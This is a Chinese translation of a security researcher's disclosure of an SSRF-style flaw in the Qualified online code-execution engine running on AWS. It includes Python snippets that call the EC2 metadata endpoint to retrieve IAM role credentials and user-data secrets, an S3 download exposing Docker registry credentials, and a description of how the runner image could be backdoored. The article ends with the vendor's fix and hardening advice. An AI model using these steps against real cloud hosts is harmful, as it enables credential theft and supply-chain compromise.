【技术分享】对AWS元数据服务SSRF漏洞的分析

https://p4.ssl.qhimg.com/t01f5e2b290700a675e.jpg

译者:興趣使然的小胃

预估稿费:200RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿

一、前言

最近我正在忙一个小项目,研究如何在Docker容器中执行不受信任的Python代码。根据项目要求,我需要测试多个在线代码执行引擎,调研它们对各类攻击的反应。在调研过程中,我发现Qualified研发的代码执行引擎中存在几个非常有趣的漏洞,这个引擎使用范围非常广泛,包括CodeWars或者InterviewCake之类的网站都在使用这个引擎。代码运行引擎能够帮助人们以远程网络访问形式运行代码,并且其基础架构运行在Amazon Web服务中,结合这两点事实,我决定写篇文章来介绍我所发现的这些有趣的漏洞。

首先,我们向InterviewCake展示了我们在Qualified代码执行引擎中发现的多个漏洞(InterviewCake正是Qualified的某个客户)。然后,我们讨论了某个具体漏洞:依托AWS运行的某个服务中的SSRF(Server Side Request Forgery,服务端请求伪造)漏洞。我不会在这里过多介绍SSRF漏洞的基础概念及背景知识,因为网上已经有许多公开资料可以参考(查看这里、这里以及这里的资料)。如果用一句话概括,那就是攻击者可以利用SSRF漏洞,使某个应用程序代替攻击者发起网络连接行为。

备注1:对在线代码执行引擎而言,使用SSRF这个术语是否合适仍有争议,因为它本来就支持网络连接。然而,我仍然坚持使用这个术语,因为我所分析的这个漏洞适用于依托AWS运行的、存在SSRF漏洞的任意应用。

备注2:虽然我在本文中讨论的目标是InterviewCake,但他们本身并没有存在任何安全问题,并且我发现的这个漏洞很有可能不会对他们造成任何安全风险。


二、漏洞分析

如果你访问InterviewCake某个随机的提问页面,你可以在页面底部发现一个小区域,在此你能输入并执行代码。

http://p5.qhimg.com/t01d25b000adb52aa2c.png

我们可以跟踪Python中用来执行bash命令的代码:

import os
os.system("my command")

再深入跟踪一会儿,我们可以看到每次代码在执行时,主机名(hostname)都会发生变化,并且init进程会在某些控制组(control group,cgroups)下运行,如下所示:

9:perf_event:/docker/f66e505ea723ef416db8932e64632d3c428ff094e6cd4348668e3d9e744d3341
8:memory:/docker/f66e505ea723ef416db8932e64632d3c428ff094e6cd4348668e3d9e744d3341
7:hugetlb:/docker/f66e505ea723ef416db8932e64632d3c428ff094e6cd4348668e3d9e744d3341
...

根据这两点信息,我们可以判断,代码很有可能运行在Docker容器中。这个容器看上去能够访问互联网,我们可以使用公开的IfConfig.co服务得到容器的外部地址:

import os
os.system("curl ifconfig.co")

结果如下:

107.20.17.162

如果我们反查这个地址的DNS,我们可以发现这个IP地址属于AWS EC2:

$ nslookup 107.20.17.162
Non-authoritative answer:
162.17.20.107.in-addr.arpa name = ec2-107-20-17-162.compute-1.amazonaws.com.

熟悉EC2的人都知道,EC2服务与DigitalOcean类似,用户可以使用EC2服务在云端中创建并运行虚拟机。


三、漏洞利用

AWS EC2有个不常用到的功能,即实例元数据服务(Instance Metadata Service)功能(这也是官方文档中的称呼)。任何EC2实例都可以使用这个功能,访问运行在169.254.169.254这个IP地址上的REST API接口,返回关于这个实例的一些数据,某些返回数据中会包含如实例名、实例镜像(AMI)ID以及其他一些敏感信息。

根据前文分析,我们的代码很有可能运行在某个EC2实例上(更具体地说,是运行在EC2实例上的某个Docker容器中),因此代码能够访问这个API。让我们来试一下,通过这个API我们能得到什么信息。

import os
 
def get_endpoint(endpoint):
    os.system("curl http:/169.254.169.254" + endpoint)
    print()
 
print("[*] AMI id")
get_endpoint("/latest/meta-data/ami-id")
 
print("[*] Security credentials")
get_endpoint("/latest/meta-data/iam/security-credentials/")
 
print("[*] User script")
get_endpoint("/latest/user-data/")

我们得到的输出结果如下所示:

[*] AMI id
ami-246cc332
 
[*] Security credentials
ecsInstanceRole
 
[*] User script
aws s3 cp s3://ecs-conf/ecs.config /etc/ecs/ecs.config
aws s3 cp s3://ecs-conf/docker.json /home/ec2-user/.docker/config.json
aws s3 cp s3://ecs-conf/cloudwatch.credentials /etc/cloudwatch.credentials
...
echo "pulling latest runner image"
docker pull codewars/runner-server:latest
...
nrsysmond-config --set license_key=999b5f6[...]ac

让我们来逐一分析一下这些字段。

3.1 AMI id

这是主机所使用的AMI(Amazon Machine Image)标识符,这个标识符看起来是个私有字段,不能提供更多信息。

3.2 Security credentials

这个字段包含主机所绑定的IAM角色列表。IAM(Identity Access Management)是AWS提供的一项功能,我们可以使用它来管理用户、角色以及权限。在输出结果中,我们看到主机只绑定了一个角色:ecsInstanceRole,因此我们可以使用Metadata API访问与这个服务绑定的凭证。这是一种安全机制,利用这个机制,用户不需要将AWS API密钥硬编码在应用代码中,就可以将角色绑定到主机上。我们可以使用API查询有关的凭证信息:

get_endpoint("/latest/meta-data/iam/security-credentials/ecsInstanceRole")

输出结果为:

{
 "Code" : "Success",
 "LastUpdated" : "2017-03-26T09:59:42Z",
 "Type" : "AWS-HMAC",
 "AccessKeyId" : "ASIAIR[redacted]XQ",
 "SecretAccessKey" : "42oRmJ[redacted]K2IRR",
 "Token" : "FQoDYXdzEOv//////[redacted]",
 "Expiration" : "2017-03-26T16:29:16Z"
}

获取这些凭证信息后,合法应用(或攻击者)可以使用AWS API执行ecsInstanceRole角色所允许的任何动作。ECS在这里指的是EC2 Container Service(EC2容器服务),它也是一项AWS服务,允许用户方便快捷地在云端运行Docker容器,也能提供用户正在运行的主机的摘要信息。

显然,现在我们关心的是,通过这些凭证我们能获取哪种程度的访问权限。如果我们深入研究一下AWS的官方文档,很容易就能发现ecsInstanceRole是一个默认的IAM角色,并且绑定了如下策略:

{
 "Version": "2012-10-17",
   "Statement": [
   {
     "Effect": "Allow",
     "Action": [
       "ecs:CreateCluster",
       "ecs:DeregisterContainerInstance",
       "ecs:DiscoverPollEndpoint",
       "ecs:Poll",
       "ecs:RegisterContainerInstance",
       "ecs:StartTelemetrySession",
       "ecs:Submit*",
       "ecr:GetAuthorizationToken",
       "ecr:BatchCheckLayerAvailability",
       "ecr:GetDownloadUrlForLayer",
       "ecr:BatchGetImage",
       "logs:CreateLogStream",
       "logs:PutLogEvents"
     ],
   "Resource": "*"
   }
 ]
}

根据这些策略,我们可以做许多好玩的事情,包括创建ECS集群(cluster)、从某个集群中移除EC2实例、往应用日志中写入数据等。

3.3 User script

这个端点返回了用户自定义的一个脚本,每当新的EC2实例第一次运行时,这个脚本就会被运行。这类脚本通常用于对环境进行基本配置,比如安装更新包(package)、运行服务等,某些时候还可以用来存储敏感信息(虽然官方不推荐用户这么做)。

这个脚本中的比较有趣的部分内容如下:

aws s3 cp s3://ecs-conf/ecs.config /etc/ecs/ecs.config
...
echo "pulling latest runner image"
docker pull codewars/runner-server:latest
...
nrsysmond-config --set license_key=999b5f6[...redacted...]ac

如上所示,脚本最后一行泄露了NewRelic的证书密钥。

脚本中第一条命令用来从ecs-conf S3存储桶(bucket)上下载一个配置文件。通过AWS命令行工具,我们发现即使我们无法列出存储桶的内容,也能够公开访问ecs.config这个文件。

root@kali:~# aws s3 cp s3://ecs-conf/ecs.config ecs.config
download: s3://ecs-conf/ecs.config to ./ecs.config
root@kali:~# cat ecs.config
 
ECS_ENGINE_AUTH_TYPE=dockercfg
ECS_ENGINE_AUTH_DATA={"https://index.docker.io/v1/":{"auth":"M30s[...redacted...]hV=","email":"deploy@[...redacted...].co"}}

在这个文件中,auth参数经过base64编码,解码后为“codewarsdeploy:somepassword”(出于隐私保护,我们隐去了密码信息),我们可以利用这个信息登录到Qualified的私密Docker注册表中!

这意味着我们能够获取到Docker镜像codewars/runner-server,查看镜像内容,植入后门(或者恶意软件),并将镜像推回到注册表中。这样一来,每当Qualified的代码执行引擎运行一段代码时,我们的恶意代码就会被运行。换句话说,每当某人往InterviewCake上提交一个解答代码时,这类攻击就会发生。CodeWars也面临这类攻击的挑战。


四、总结

我向Qualified的Jake报告了这个问题,他的回答非常规范,并且漏洞在几天后就被修复了。

如果你正在AWS上运行应用,那么了解并理解Metadata API是一件必不可少的工作,因为你的应用中存在的任何SSRF漏洞都会导致巨大的后果。为了限制漏洞及安全风险,用户最好遵循以下几点原则;

1、不要在配置脚本中存储任何敏感信息(AWS称这种脚本为用户脚本)。

2、如果你的主机需要绑定某个IAM角色,那么请赋予它最少的权限。你可以使用IAM策略模拟器来确保主机具备的权限与你所设想的一致。

3、如果你没有使用Metadata API,那么你应该设置相应的防火墙策略,或者只允许root用户能够访问它(参考相应的iptables示例)。

如果你在HackerOne上查找,你可以发现已经有几个报告提到过类似的漏洞:#53088($300奖励)、#158016 ($50奖励)、#128685、以及#53088 ($1000奖励)。需要注意的是,这个问题并不是AWS所特有的,包括OpenStack以及Google云在内的云服务中也会存在类似问题。然而,Google要求对其元数据服务的所有请求中必须包含一个特定的HTTP头部,这意味着如果攻击者仅能控制请求的URL地址,而没有办法执行头部注入攻击的话,那么他们就无法访问Google的元数据服务。


五、参考资料

你可以参考以下资料了解更多信息。

1、RhinoLabs发表的关于AWS漏洞的一篇文章。

2、介绍EC2中安全风险较高的那些功能的一篇文章。

3、Metasploit的一个模块,可以用来收集被突破主机实例的一些元数据信息。

(完)